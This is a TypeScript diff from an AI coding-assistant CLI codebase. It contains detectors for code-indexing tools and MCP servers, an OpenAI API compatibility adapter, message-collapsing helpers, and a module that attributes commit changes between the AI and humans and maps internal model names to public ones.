{ pattern: /^tabnine$/i, tool: 'tabnine' },
{ pattern: /^augment[-_]?code$/i, tool: 'augment' },
{ pattern: /^augment$/i, tool: 'augment' },
{ pattern: /^windsurf$/i, tool: 'windsurf' },
{ pattern: /^aide$/i, tool: 'aide' },
{ pattern: /^codestory$/i, tool: 'aide' },
{ pattern: /^pieces$/i, tool: 'pieces' },
{ pattern: /^qodo$/i, tool: 'qodo' },
{ pattern: /^amazon[-_]?q$/i, tool: 'amazon-q' },
{ pattern: /^gemini[-_]?code[-_]?assist$/i, tool: 'gemini' },
{ pattern: /^gemini$/i, tool: 'gemini' },
// Code search tools
{ pattern: /^hound$/i, tool: 'hound' },
{ pattern: /^seagoat$/i, tool: 'seagoat' },
{ pattern: /^bloop$/i, tool: 'bloop' },
{ pattern: /^gitloop$/i, tool: 'gitloop' },
// MCP code indexing servers
{ pattern: /^claude[-_]?context$/i, tool: 'claude-context' },
{ pattern: /^code[-_]?index[-_]?mcp$/i, tool: 'code-index-mcp' },
{ pattern: /^code[-_]?index$/i, tool: 'code-index-mcp' },
{ pattern: /^local[-_]?code[-_]?search$/i, tool: 'local-code-search' },
{ pattern: /^codebase$/i, tool: 'autodev-codebase' },
{ pattern: /^autodev[-_]?codebase$/i, tool: 'autodev-codebase' },
{ pattern: /^code[-_]?context$/i, tool: 'claude-context' },
]
/**
* Detects if a bash command is using a code indexing CLI tool.
*
* @param command - The full bash command string
* @returns The code indexing tool identifier, or undefined if not a code indexing command
*
* @example
* detectCodeIndexingFromCommand('src search "pattern"') // returns 'sourcegraph'
* detectCodeIndexingFromCommand('cody chat --message "help"') // returns 'cody'
* detectCodeIndexingFromCommand('ls -la') // returns undefined
*/
export function detectCodeIndexingFromCommand(
command: string,
): CodeIndexingTool | undefined {
// Extract the first word (command name)
const trimmed = command.trim()
const firstWord = trimmed.split(/\s+/)[0]?.toLowerCase()
if (!firstWord) {
return undefined
}
// Check for npx/bunx prefixed commands
if (firstWord === 'npx' || firstWord === 'bunx') {
const secondWord = trimmed.split(/\s+/)[1]?.toLowerCase()
if (secondWord && secondWord in CLI_COMMAND_MAPPING) {
return CLI_COMMAND_MAPPING[secondWord]
}
}
return CLI_COMMAND_MAPPING[firstWord]
}
/**
* Detects if an MCP tool is from a code indexing server.
*
* @param toolName - The MCP tool name (format: mcp__serverName__toolName)
* @returns The code indexing tool identifier, or undefined if not a code indexing tool
*
* @example
* detectCodeIndexingFromMcpTool('mcp__sourcegraph__search') // returns 'sourcegraph'
* detectCodeIndexingFromMcpTool('mcp__cody__chat') // returns 'cody'
* detectCodeIndexingFromMcpTool('mcp__filesystem__read') // returns undefined
*/
export function detectCodeIndexingFromMcpTool(
toolName: string,
): CodeIndexingTool | undefined {
// MCP tool names follow the format: mcp__serverName__toolName
if (!toolName.startsWith('mcp__')) {
return undefined
}
const parts = toolName.split('__')
if (parts.length < 3) {
return undefined
}
const serverName = parts[1]
if (!serverName) {
return undefined
}
for (const { pattern, tool } of MCP_SERVER_PATTERNS) {
if (pattern.test(serverName)) {
return tool
}
}
return undefined
}
/**
* Detects if an MCP server name corresponds to a code indexing tool.
*
* @param serverName - The MCP server name
* @returns The code indexing tool identifier, or undefined if not a code indexing server
*
* @example
* detectCodeIndexingFromMcpServerName('sourcegraph') // returns 'sourcegraph'
* detectCodeIndexingFromMcpServerName('filesystem') // returns undefined
*/
export function detectCodeIndexingFromMcpServerName(
serverName: string,
): CodeIndexingTool | undefined {
for (const { pattern, tool } of MCP_SERVER_PATTERNS) {
if (pattern.test(serverName)) {
return tool
}
}
return undefined
}

157
src/utils/codex-fetch-adapter.ts Executable file
View File

@@ -0,0 +1,157 @@
/**
* OpenAI Codex API adapter for Claude Code
* Provides compatibility layer between Claude's API expectations and OpenAI's Codex API
*/
import type { Message } from '../types/message.js'
import { logError } from './log.js'
/**
* OpenAI message format for API requests
*/
interface OpenAIMessage {
role: 'system' | 'user' | 'assistant'
content: string | Array<{
type: 'text' | 'image_url'
text?: string
image_url?: {
url: string
}
}>
}
/**
* OpenAI API response format
*/
interface OpenAIResponse {
id: string
object: string
created: number
model: string
choices: Array<{
index: number
message: {
role: string
content: string
}
finish_reason: string
}>
usage: {
prompt_tokens: number
completion_tokens: number
total_tokens: number
}
}
/**
* Convert Claude Code message format to OpenAI format
*/
function convertToOpenAIMessage(message: Message): OpenAIMessage {
if (typeof message.content === 'string') {
return {
role: message.role === 'human' ? 'user' : message.role as 'system' | 'assistant',
content: message.content,
}
}
// Handle multi-modal content
const content: Array<any> = []
for (const item of message.content) {
if (item.type === 'text') {
content.push({
type: 'text',
text: item.text,
})
} else if (item.type === 'image') {
// Convert Anthropic base64 image schema to OpenAI format
content.push({
type: 'image_url',
image_url: {
url: item.source.type === 'base64'
? `data:${item.source.media_type};base64,${item.source.data}`
: item.source.data
}
})
}
}
return {
role: message.role === 'human' ? 'user' : message.role as 'system' | 'assistant',
content,
}
}
/**
* Make a request to OpenAI Codex API
*/
export async function fetchCodexResponse(
messages: Message[],
model: string,
options: {
apiKey?: string
baseUrl?: string
stream?: boolean
} = {}
): Promise<OpenAIResponse> {
const { apiKey, baseUrl = 'https://api.openai.com/v1', stream = false } = options
if (!apiKey) {
throw new Error('OpenAI API key is required for Codex requests')
}
const openAIMessages = messages.map(convertToOpenAIMessage)
const requestBody = {
model,
messages: openAIMessages,
stream,
temperature: 0.7,
max_tokens: 4096,
}
try {
const response = await fetch(`${baseUrl}/chat/completions`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${apiKey}`,
},
body: JSON.stringify(requestBody),
})
if (!response.ok) {
throw new Error(`OpenAI API error: ${response.status} ${response.statusText}`)
}
const data = await response.json() as OpenAIResponse
return data
} catch (error) {
logError(error)
throw error
}
}
/**
* Convert OpenAI response to Claude Code format
*/
export function convertFromOpenAIResponse(response: OpenAIResponse): {
content: string
usage: {
input_tokens: number
output_tokens: number
}
} {
const choice = response.choices[0]
if (!choice) {
throw new Error('No choices in OpenAI response')
}
return {
content: choice.message.content,
usage: {
input_tokens: response.usage.prompt_tokens,
output_tokens: response.usage.completion_tokens,
},
}
}

View File

@@ -0,0 +1,84 @@
import {
STATUS_TAG,
SUMMARY_TAG,
TASK_NOTIFICATION_TAG,
} from '../constants/xml.js'
import { BACKGROUND_BASH_SUMMARY_PREFIX } from '../tasks/LocalShellTask/LocalShellTask.js'
import type {
NormalizedUserMessage,
RenderableMessage,
} from '../types/message.js'
import { isFullscreenEnvEnabled } from './fullscreen.js'
import { extractTag } from './messages.js'
function isCompletedBackgroundBash(
msg: RenderableMessage,
): msg is NormalizedUserMessage {
if (msg.type !== 'user') return false
const content = msg.message.content[0]
if (content?.type !== 'text') return false
if (!content.text.includes(`<${TASK_NOTIFICATION_TAG}`)) return false
// Only collapse successful completions — failed/killed stay visible individually.
if (extractTag(content.text, STATUS_TAG) !== 'completed') return false
// The prefix constant distinguishes bash-kind LocalShellTask completions from
// agent/workflow/monitor notifications. Monitor-kind completions have their
// own summary wording and deliberately don't collapse here.
return (
extractTag(content.text, SUMMARY_TAG)?.startsWith(
BACKGROUND_BASH_SUMMARY_PREFIX,
) ?? false
)
}
/**
* Collapses consecutive completed-background-bash task-notifications into a
* single synthetic "N background commands completed" notification. Failed/killed
* tasks and agent/workflow notifications are left alone. Monitor stream
* events (enqueueStreamEvent) have no <status> tag and never match.
*
* Pass-through in verbose mode so ctrl+O shows each completion.
*/
export function collapseBackgroundBashNotifications(
messages: RenderableMessage[],
verbose: boolean,
): RenderableMessage[] {
if (!isFullscreenEnvEnabled()) return messages
if (verbose) return messages
const result: RenderableMessage[] = []
let i = 0
while (i < messages.length) {
const msg = messages[i]!
if (isCompletedBackgroundBash(msg)) {
let count = 0
while (i < messages.length && isCompletedBackgroundBash(messages[i]!)) {
count++
i++
}
if (count === 1) {
result.push(msg)
} else {
// Synthesize a task-notification that UserAgentNotificationMessage
// already knows how to render — no new renderer needed.
result.push({
...msg,
message: {
role: 'user',
content: [
{
type: 'text',
text: `<${TASK_NOTIFICATION_TAG}><${STATUS_TAG}>completed</${STATUS_TAG}><${SUMMARY_TAG}>${count} background commands completed</${SUMMARY_TAG}></${TASK_NOTIFICATION_TAG}>`,
},
],
},
})
}
} else {
result.push(msg)
i++
}
}
return result
}

View File

@@ -0,0 +1,59 @@
import type {
RenderableMessage,
SystemStopHookSummaryMessage,
} from '../types/message.js'
function isLabeledHookSummary(
msg: RenderableMessage,
): msg is SystemStopHookSummaryMessage {
return (
msg.type === 'system' &&
msg.subtype === 'stop_hook_summary' &&
msg.hookLabel !== undefined
)
}
/**
* Collapses consecutive hook summary messages with the same hookLabel
* (e.g. PostToolUse) into a single summary. This happens when parallel
* tool calls each emit their own hook summary.
*/
export function collapseHookSummaries(
messages: RenderableMessage[],
): RenderableMessage[] {
const result: RenderableMessage[] = []
let i = 0
while (i < messages.length) {
const msg = messages[i]!
if (isLabeledHookSummary(msg)) {
const label = msg.hookLabel
const group: SystemStopHookSummaryMessage[] = []
while (i < messages.length) {
const next = messages[i]!
if (!isLabeledHookSummary(next) || next.hookLabel !== label) break
group.push(next)
i++
}
if (group.length === 1) {
result.push(msg)
} else {
result.push({
...msg,
hookCount: group.reduce((sum, m) => sum + m.hookCount, 0),
hookInfos: group.flatMap(m => m.hookInfos),
hookErrors: group.flatMap(m => m.hookErrors),
preventedContinuation: group.some(m => m.preventedContinuation),
hasOutput: group.some(m => m.hasOutput),
// Parallel tool calls' hooks overlap; max is closest to wall-clock.
totalDurationMs: Math.max(...group.map(m => m.totalDurationMs ?? 0)),
})
}
} else {
result.push(msg)
i++
}
}
return result
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,55 @@
import type { AttachmentMessage, RenderableMessage } from '../types/message.js'
function isTeammateShutdownAttachment(
msg: RenderableMessage,
): msg is AttachmentMessage {
return (
msg.type === 'attachment' &&
msg.attachment.type === 'task_status' &&
msg.attachment.taskType === 'in_process_teammate' &&
msg.attachment.status === 'completed'
)
}
/**
* Collapses consecutive in-process teammate shutdown task_status attachments
* into a single `teammate_shutdown_batch` attachment with a count.
*/
export function collapseTeammateShutdowns(
messages: RenderableMessage[],
): RenderableMessage[] {
const result: RenderableMessage[] = []
let i = 0
while (i < messages.length) {
const msg = messages[i]!
if (isTeammateShutdownAttachment(msg)) {
let count = 0
while (
i < messages.length &&
isTeammateShutdownAttachment(messages[i]!)
) {
count++
i++
}
if (count === 1) {
result.push(msg)
} else {
result.push({
type: 'attachment',
uuid: msg.uuid,
timestamp: msg.timestamp,
attachment: {
type: 'teammate_shutdown_batch',
count,
},
})
}
} else {
result.push(msg)
i++
}
}
return result
}

View File

@@ -0,0 +1,47 @@
import { createAbortController } from './abortController.js'
/**
* Creates a combined AbortSignal that aborts when the input signal aborts,
* an optional second signal aborts, or an optional timeout elapses.
* Returns both the signal and a cleanup function that removes event listeners
* and clears the internal timeout timer.
*
* Use `timeoutMs` instead of passing `AbortSignal.timeout(ms)` as a signal —
* under Bun, `AbortSignal.timeout` timers are finalized lazily and accumulate
* in native memory until they fire (measured ~2.4KB/call held for the full
* timeout duration). This implementation uses `setTimeout` + `clearTimeout`
* so the timer is freed immediately on cleanup.
*/
export function createCombinedAbortSignal(
signal: AbortSignal | undefined,
opts?: { signalB?: AbortSignal; timeoutMs?: number },
): { signal: AbortSignal; cleanup: () => void } {
const { signalB, timeoutMs } = opts ?? {}
const combined = createAbortController()
if (signal?.aborted || signalB?.aborted) {
combined.abort()
return { signal: combined.signal, cleanup: () => {} }
}
let timer: ReturnType<typeof setTimeout> | undefined
const abortCombined = () => {
if (timer !== undefined) clearTimeout(timer)
combined.abort()
}
if (timeoutMs !== undefined) {
timer = setTimeout(abortCombined, timeoutMs)
timer.unref?.()
}
signal?.addEventListener('abort', abortCombined)
signalB?.addEventListener('abort', abortCombined)
const cleanup = () => {
if (timer !== undefined) clearTimeout(timer)
signal?.removeEventListener('abort', abortCombined)
signalB?.removeEventListener('abort', abortCombined)
}
return { signal: combined.signal, cleanup }
}

View File

@@ -0,0 +1,21 @@
type CommandLifecycleState = 'started' | 'completed'
type CommandLifecycleListener = (
uuid: string,
state: CommandLifecycleState,
) => void
let listener: CommandLifecycleListener | null = null
export function setCommandLifecycleListener(
cb: CommandLifecycleListener | null,
): void {
listener = cb
}
export function notifyCommandLifecycle(
uuid: string,
state: CommandLifecycleState,
): void {
listener?.(uuid, state)
}

View File

@@ -0,0 +1,961 @@
import { createHash, randomUUID, type UUID } from 'crypto'
import { stat } from 'fs/promises'
import { isAbsolute, join, relative, sep } from 'path'
import { getOriginalCwd, getSessionId } from '../bootstrap/state.js'
import type {
AttributionSnapshotMessage,
FileAttributionState,
} from '../types/logs.js'
import { getCwd } from './cwd.js'
import { logForDebugging } from './debug.js'
import { execFileNoThrowWithCwd } from './execFileNoThrow.js'
import { getFsImplementation } from './fsOperations.js'
import { isGeneratedFile } from './generatedFiles.js'
import { getRemoteUrlForDir, resolveGitDir } from './git/gitFilesystem.js'
import { findGitRoot, gitExe } from './git.js'
import { logError } from './log.js'
import { getCanonicalName, type ModelName } from './model/model.js'
import { sequential } from './sequential.js'
/**
* List of repos where internal model names are allowed in trailers.
* Includes both SSH and HTTPS URL formats.
*
* NOTE: This is intentionally a repo allowlist, not an org-wide check.
* The anthropics and anthropic-experimental orgs contain PUBLIC repos
* (e.g. anthropics/claude-code, anthropic-experimental/sandbox-runtime).
* Undercover mode must stay ON in those to prevent codename leaks.
* Only add repos here that are confirmed PRIVATE.
*/
const INTERNAL_MODEL_REPOS = [
'github.com:anthropics/claude-cli-internal',
'github.com/anthropics/claude-cli-internal',
'github.com:anthropics/anthropic',
'github.com/anthropics/anthropic',
'github.com:anthropics/apps',
'github.com/anthropics/apps',
'github.com:anthropics/casino',
'github.com/anthropics/casino',
'github.com:anthropics/dbt',
'github.com/anthropics/dbt',
'github.com:anthropics/dotfiles',
'github.com/anthropics/dotfiles',
'github.com:anthropics/terraform-config',
'github.com/anthropics/terraform-config',
'github.com:anthropics/hex-export',
'github.com/anthropics/hex-export',
'github.com:anthropics/feedback-v2',
'github.com/anthropics/feedback-v2',
'github.com:anthropics/labs',
'github.com/anthropics/labs',
'github.com:anthropics/argo-rollouts',
'github.com/anthropics/argo-rollouts',
'github.com:anthropics/starling-configs',
'github.com/anthropics/starling-configs',
'github.com:anthropics/ts-tools',
'github.com/anthropics/ts-tools',
'github.com:anthropics/ts-capsules',
'github.com/anthropics/ts-capsules',
'github.com:anthropics/feldspar-testing',
'github.com/anthropics/feldspar-testing',
'github.com:anthropics/trellis',
'github.com/anthropics/trellis',
'github.com:anthropics/claude-for-hiring',
'github.com/anthropics/claude-for-hiring',
'github.com:anthropics/forge-web',
'github.com/anthropics/forge-web',
'github.com:anthropics/infra-manifests',
'github.com/anthropics/infra-manifests',
'github.com:anthropics/mycro_manifests',
'github.com/anthropics/mycro_manifests',
'github.com:anthropics/mycro_configs',
'github.com/anthropics/mycro_configs',
'github.com:anthropics/mobile-apps',
'github.com/anthropics/mobile-apps',
]
/**
* Get the repo root for attribution operations.
* Uses getCwd() which respects agent worktree overrides (AsyncLocalStorage),
* then resolves to git root to handle `cd subdir` case.
* Falls back to getOriginalCwd() if git root can't be determined.
*/
export function getAttributionRepoRoot(): string {
const cwd = getCwd()
return findGitRoot(cwd) ?? getOriginalCwd()
}
// Cache for repo classification result. Primed once per process.
// 'internal' = remote matches INTERNAL_MODEL_REPOS allowlist
// 'external' = has a remote, not on allowlist (public/open-source repo)
// 'none' = no remote URL (not a git repo, or no remote configured)
let repoClassCache: 'internal' | 'external' | 'none' | null = null
/**
* Synchronously return the cached repo classification.
* Returns null if the async check hasn't run yet.
*/
export function getRepoClassCached(): 'internal' | 'external' | 'none' | null {
return repoClassCache
}
/**
* Synchronously return the cached result of isInternalModelRepo().
* Returns false if the check hasn't run yet (safe default: don't leak).
*/
export function isInternalModelRepoCached(): boolean {
return repoClassCache === 'internal'
}
/**
* Check if the current repo is in the allowlist for internal model names.
* Memoized - only checks once per process.
*/
export const isInternalModelRepo = sequential(async (): Promise<boolean> => {
if (repoClassCache !== null) {
return repoClassCache === 'internal'
}
const cwd = getAttributionRepoRoot()
const remoteUrl = await getRemoteUrlForDir(cwd)
if (!remoteUrl) {
repoClassCache = 'none'
return false
}
const isInternal = INTERNAL_MODEL_REPOS.some(repo => remoteUrl.includes(repo))
repoClassCache = isInternal ? 'internal' : 'external'
return isInternal
})
/**
* Sanitize a surface key to use public model names.
* Converts internal model variants to their public equivalents.
*/
export function sanitizeSurfaceKey(surfaceKey: string): string {
// Split surface key into surface and model parts (e.g., "cli/opus-4-5-fast" -> ["cli", "opus-4-5-fast"])
const slashIndex = surfaceKey.lastIndexOf('/')
if (slashIndex === -1) {
return surfaceKey
}
const surface = surfaceKey.slice(0, slashIndex)
const model = surfaceKey.slice(slashIndex + 1)
const sanitizedModel = sanitizeModelName(model)
return `${surface}/${sanitizedModel}`
}
// @[MODEL LAUNCH]: Add a mapping for the new model ID so git commit trailers show the public name.
/**
* Sanitize a model name to its public equivalent.
* Maps internal variants to their public names based on model family.
*/
export function sanitizeModelName(shortName: string): string {
// Map internal variants to public equivalents based on model family
if (shortName.includes('opus-4-6')) return 'claude-opus-4-6'
if (shortName.includes('opus-4-5')) return 'claude-opus-4-5'
if (shortName.includes('opus-4-1')) return 'claude-opus-4-1'
if (shortName.includes('opus-4')) return 'claude-opus-4'
if (shortName.includes('sonnet-4-6')) return 'claude-sonnet-4-6'
if (shortName.includes('sonnet-4-5')) return 'claude-sonnet-4-5'
if (shortName.includes('sonnet-4')) return 'claude-sonnet-4'
if (shortName.includes('sonnet-3-7')) return 'claude-sonnet-3-7'
if (shortName.includes('haiku-4-5')) return 'claude-haiku-4-5'
if (shortName.includes('haiku-3-5')) return 'claude-haiku-3-5'
// Unknown models get a generic name
return 'claude'
}
/**
* Attribution state for tracking Claude's contributions to files.
*/
export type AttributionState = {
// File states keyed by relative path (from cwd)
fileStates: Map<string, FileAttributionState>
// Session baseline states for net change calculation
sessionBaselines: Map<string, { contentHash: string; mtime: number }>
// Surface from which edits were made
surface: string
// HEAD SHA at session start (for detecting external commits)
startingHeadSha: string | null
// Total prompts in session (for steer count calculation)
promptCount: number
// Prompts at last commit (to calculate steers for current commit)
promptCountAtLastCommit: number
// Permission prompt tracking
permissionPromptCount: number
permissionPromptCountAtLastCommit: number
// ESC press tracking (user cancelled permission prompt)
escapeCount: number
escapeCountAtLastCommit: number
}
/**
* Summary of Claude's contribution for a commit.
*/
export type AttributionSummary = {
claudePercent: number
claudeChars: number
humanChars: number
surfaces: string[]
}
/**
* Per-file attribution details for git notes.
*/
export type FileAttribution = {
claudeChars: number
humanChars: number
percent: number
surface: string
}
/**
* Full attribution data for git notes JSON.
*/
export type AttributionData = {
version: 1
summary: AttributionSummary
files: Record<string, FileAttribution>
surfaceBreakdown: Record<string, { claudeChars: number; percent: number }>
excludedGenerated: string[]
sessions: string[]
}
/**
* Get the current client surface from environment.
*/
export function getClientSurface(): string {
return process.env.CLAUDE_CODE_ENTRYPOINT ?? 'cli'
}
/**
* Build a surface key that includes the model name.
* Format: "surface/model" (e.g., "cli/claude-sonnet")
*/
export function buildSurfaceKey(surface: string, model: ModelName): string {
return `${surface}/${getCanonicalName(model)}`
}
/**
* Compute SHA-256 hash of content.
*/
export function computeContentHash(content: string): string {
return createHash('sha256').update(content).digest('hex')
}
/**
* Normalize file path to relative path from cwd for consistent tracking.
* Resolves symlinks to handle /tmp vs /private/tmp on macOS.
*/
export function normalizeFilePath(filePath: string): string {
const fs = getFsImplementation()
const cwd = getAttributionRepoRoot()
if (!isAbsolute(filePath)) {
return filePath
}
// Resolve symlinks in both paths for consistent comparison
// (e.g., /tmp -> /private/tmp on macOS)
let resolvedPath = filePath
let resolvedCwd = cwd
try {
resolvedPath = fs.realpathSync(filePath)
} catch {
// File may not exist yet, use original path
}
try {
resolvedCwd = fs.realpathSync(cwd)
} catch {
// Keep original cwd
}
if (
resolvedPath.startsWith(resolvedCwd + sep) ||
resolvedPath === resolvedCwd
) {
// Normalize to forward slashes so keys match git diff output on Windows
return relative(resolvedCwd, resolvedPath).replaceAll(sep, '/')
}
// Fallback: try original comparison
if (filePath.startsWith(cwd + sep) || filePath === cwd) {
return relative(cwd, filePath).replaceAll(sep, '/')
}
return filePath
}
/**
* Expand a relative path to absolute path.
*/
export function expandFilePath(filePath: string): string {
if (isAbsolute(filePath)) {
return filePath
}
return join(getAttributionRepoRoot(), filePath)
}
/**
* Create an empty attribution state for a new session.
*/
export function createEmptyAttributionState(): AttributionState {
return {
fileStates: new Map(),
sessionBaselines: new Map(),
surface: getClientSurface(),
startingHeadSha: null,
promptCount: 0,
promptCountAtLastCommit: 0,
permissionPromptCount: 0,
permissionPromptCountAtLastCommit: 0,
escapeCount: 0,
escapeCountAtLastCommit: 0,
}
}
/**
* Compute the character contribution for a file modification.
* Returns the FileAttributionState to store, or null if tracking failed.
*/
function computeFileModificationState(
existingFileStates: Map<string, FileAttributionState>,
filePath: string,
oldContent: string,
newContent: string,
mtime: number,
): FileAttributionState | null {
const normalizedPath = normalizeFilePath(filePath)
try {
// Calculate Claude's character contribution
let claudeContribution: number
if (oldContent === '' || newContent === '') {
// New file or full deletion - contribution is the content length
claudeContribution =
oldContent === '' ? newContent.length : oldContent.length
} else {
// Find actual changed region via common prefix/suffix matching.
// This correctly handles same-length replacements (e.g., "Esc" → "esc")
// where Math.abs(newLen - oldLen) would be 0.
const minLen = Math.min(oldContent.length, newContent.length)
let prefixEnd = 0
while (
prefixEnd < minLen &&
oldContent[prefixEnd] === newContent[prefixEnd]
) {
prefixEnd++
}
let suffixLen = 0
while (
suffixLen < minLen - prefixEnd &&
oldContent[oldContent.length - 1 - suffixLen] ===
newContent[newContent.length - 1 - suffixLen]
) {
suffixLen++
}
const oldChangedLen = oldContent.length - prefixEnd - suffixLen
const newChangedLen = newContent.length - prefixEnd - suffixLen
claudeContribution = Math.max(oldChangedLen, newChangedLen)
}
// Get current file state if it exists
const existingState = existingFileStates.get(normalizedPath)
const existingContribution = existingState?.claudeContribution ?? 0
return {
contentHash: computeContentHash(newContent),
claudeContribution: existingContribution + claudeContribution,
mtime,
}
} catch (error) {
logError(error as Error)
return null
}
}
/**
* Get a file's modification time (mtimeMs), falling back to Date.now() if
* the file doesn't exist. This is async so it can be precomputed before
* entering a sync setAppState callback.
*/
export async function getFileMtime(filePath: string): Promise<number> {
const normalizedPath = normalizeFilePath(filePath)
const absPath = expandFilePath(normalizedPath)
try {
const stats = await stat(absPath)
return stats.mtimeMs
} catch {
return Date.now()
}
}
/**
* Track a file modification by Claude.
* Called after Edit/Write tool completes.
*/
export function trackFileModification(
state: AttributionState,
filePath: string,
oldContent: string,
newContent: string,
_userModified: boolean,
mtime: number = Date.now(),
): AttributionState {
const normalizedPath = normalizeFilePath(filePath)
const newFileState = computeFileModificationState(
state.fileStates,
filePath,
oldContent,
newContent,
mtime,
)
if (!newFileState) {
return state
}
const newFileStates = new Map(state.fileStates)
newFileStates.set(normalizedPath, newFileState)
logForDebugging(
`Attribution: Tracked ${newFileState.claudeContribution} chars for ${normalizedPath}`,
)
return {
...state,
fileStates: newFileStates,
}
}
/**
* Track a file creation by Claude (e.g., via bash command).
* Used when Claude creates a new file through a non-tracked mechanism.
*/
export function trackFileCreation(
state: AttributionState,
filePath: string,
content: string,
mtime: number = Date.now(),
): AttributionState {
// A creation is simply a modification from empty to the new content
return trackFileModification(state, filePath, '', content, false, mtime)
}
/**
* Track a file deletion by Claude (e.g., via bash rm command).
* Used when Claude deletes a file through a non-tracked mechanism.
*/
export function trackFileDeletion(
state: AttributionState,
filePath: string,
oldContent: string,
): AttributionState {
const normalizedPath = normalizeFilePath(filePath)
const existingState = state.fileStates.get(normalizedPath)
const existingContribution = existingState?.claudeContribution ?? 0
const deletedChars = oldContent.length
const newFileState: FileAttributionState = {
contentHash: '', // Empty hash for deleted files
claudeContribution: existingContribution + deletedChars,
mtime: Date.now(),
}
const newFileStates = new Map(state.fileStates)
newFileStates.set(normalizedPath, newFileState)
logForDebugging(
`Attribution: Tracked deletion of ${normalizedPath} (${deletedChars} chars removed, total contribution: ${newFileState.claudeContribution})`,
)
return {
...state,
fileStates: newFileStates,
}
}
// --
/**
* Track multiple file changes in bulk, mutating a single Map copy.
* This avoids the O(n²) cost of copying the Map per file when processing
* large git diffs (e.g., jj operations that touch hundreds of thousands of files).
*/
export function trackBulkFileChanges(
state: AttributionState,
changes: ReadonlyArray<{
path: string
type: 'modified' | 'created' | 'deleted'
oldContent: string
newContent: string
mtime?: number
}>,
): AttributionState {
// Create ONE copy of the Map, then mutate it for each file
const newFileStates = new Map(state.fileStates)
for (const change of changes) {
const mtime = change.mtime ?? Date.now()
if (change.type === 'deleted') {
const normalizedPath = normalizeFilePath(change.path)
const existingState = newFileStates.get(normalizedPath)
const existingContribution = existingState?.claudeContribution ?? 0
const deletedChars = change.oldContent.length
newFileStates.set(normalizedPath, {
contentHash: '',
claudeContribution: existingContribution + deletedChars,
mtime,
})
logForDebugging(
`Attribution: Tracked deletion of ${normalizedPath} (${deletedChars} chars removed, total contribution: ${existingContribution + deletedChars})`,
)
} else {
const newFileState = computeFileModificationState(
newFileStates,
change.path,
change.oldContent,
change.newContent,
mtime,
)
if (newFileState) {
const normalizedPath = normalizeFilePath(change.path)
newFileStates.set(normalizedPath, newFileState)
logForDebugging(
`Attribution: Tracked ${newFileState.claudeContribution} chars for ${normalizedPath}`,
)
}
}
}
return {
...state,
fileStates: newFileStates,
}
}
/**
* Calculate final attribution for staged files.
* Compares session baseline to committed state.
*/
export async function calculateCommitAttribution(
states: AttributionState[],
stagedFiles: string[],
): Promise<AttributionData> {
const cwd = getAttributionRepoRoot()
const sessionId = getSessionId()
const files: Record<string, FileAttribution> = {}
const excludedGenerated: string[] = []
const surfaces = new Set<string>()
const surfaceCounts: Record<string, number> = {}
let totalClaudeChars = 0
let totalHumanChars = 0
// Merge file states from all sessions
const mergedFileStates = new Map<string, FileAttributionState>()
const mergedBaselines = new Map<
string,
{ contentHash: string; mtime: number }
>()
for (const state of states) {
surfaces.add(state.surface)
// Merge baselines (earliest baseline wins)
// Handle both Map and plain object (in case of serialization)
const baselines =
state.sessionBaselines instanceof Map
? state.sessionBaselines
: new Map(
Object.entries(
(state.sessionBaselines ?? {}) as Record<
string,
{ contentHash: string; mtime: number }
>,
),
)
for (const [path, baseline] of baselines) {
if (!mergedBaselines.has(path)) {
mergedBaselines.set(path, baseline)
}
}
// Merge file states (accumulate contributions)
// Handle both Map and plain object (in case of serialization)
const fileStates =
state.fileStates instanceof Map
? state.fileStates
: new Map(
Object.entries(
(state.fileStates ?? {}) as Record<string, FileAttributionState>,
),
)
for (const [path, fileState] of fileStates) {
const existing = mergedFileStates.get(path)
if (existing) {
mergedFileStates.set(path, {
...fileState,
claudeContribution:
existing.claudeContribution + fileState.claudeContribution,
})
} else {
mergedFileStates.set(path, fileState)
}
}
}
// Process files in parallel
const fileResults = await Promise.all(
stagedFiles.map(async file => {
// Skip generated files
if (isGeneratedFile(file)) {
return { type: 'generated' as const, file }
}
const absPath = join(cwd, file)
const fileState = mergedFileStates.get(file)
const baseline = mergedBaselines.get(file)
// Get the surface for this file
const fileSurface = states[0]!.surface
let claudeChars = 0
let humanChars = 0
// Check if file was deleted
const deleted = await isFileDeleted(file)
if (deleted) {
// File was deleted
if (fileState) {
// Claude deleted this file (tracked deletion)
claudeChars = fileState.claudeContribution
humanChars = 0
} else {
// Human deleted this file (untracked deletion)
// Use diff size to get the actual change size
const diffSize = await getGitDiffSize(file)
humanChars = diffSize > 0 ? diffSize : 100 // Minimum attribution for a deletion
}
} else {
try {
// Only need file size, not content - stat() avoids loading GB-scale
// build artifacts into memory when they appear in the working tree.
// stats.size (bytes) is an adequate proxy for char count here.
const stats = await stat(absPath)
if (fileState) {
// We have tracked modifications for this file
claudeChars = fileState.claudeContribution
humanChars = 0
} else if (baseline) {
// File was modified but not tracked - human modification
const diffSize = await getGitDiffSize(file)
humanChars = diffSize > 0 ? diffSize : stats.size
} else {
// New file not created by Claude
humanChars = stats.size
}
} catch {
// File doesn't exist or stat failed - skip it
return null
}
}
// Ensure non-negative values
claudeChars = Math.max(0, claudeChars)
humanChars = Math.max(0, humanChars)
const total = claudeChars + humanChars
const percent = total > 0 ? Math.round((claudeChars / total) * 100) : 0
return {
type: 'file' as const,
file,
claudeChars,
humanChars,
percent,
surface: fileSurface,
}
}),
)
// Aggregate results
for (const result of fileResults) {
if (!result) continue
if (result.type === 'generated') {
excludedGenerated.push(result.file)
continue
}
files[result.file] = {
claudeChars: result.claudeChars,
humanChars: result.humanChars,
percent: result.percent,
surface: result.surface,
}
totalClaudeChars += result.claudeChars
totalHumanChars += result.humanChars
surfaceCounts[result.surface] =
(surfaceCounts[result.surface] ?? 0) + result.claudeChars
}
const totalChars = totalClaudeChars + totalHumanChars
const claudePercent =
totalChars > 0 ? Math.round((totalClaudeChars / totalChars) * 100) : 0
// Calculate surface breakdown (percentage of total content per surface)
const surfaceBreakdown: Record<
string,
{ claudeChars: number; percent: number }
> = {}
for (const [surface, chars] of Object.entries(surfaceCounts)) {
// Calculate what percentage of TOTAL content this surface contributed
const percent = totalChars > 0 ? Math.round((chars / totalChars) * 100) : 0
surfaceBreakdown[surface] = { claudeChars: chars, percent }
}
return {
version: 1,
summary: {
claudePercent,
claudeChars: totalClaudeChars,
humanChars: totalHumanChars,
surfaces: Array.from(surfaces),
},
files,
surfaceBreakdown,
excludedGenerated,
sessions: [sessionId],
}
}
/**
* Get the size of changes for a file from git diff.
* Returns the number of characters added/removed (absolute difference).
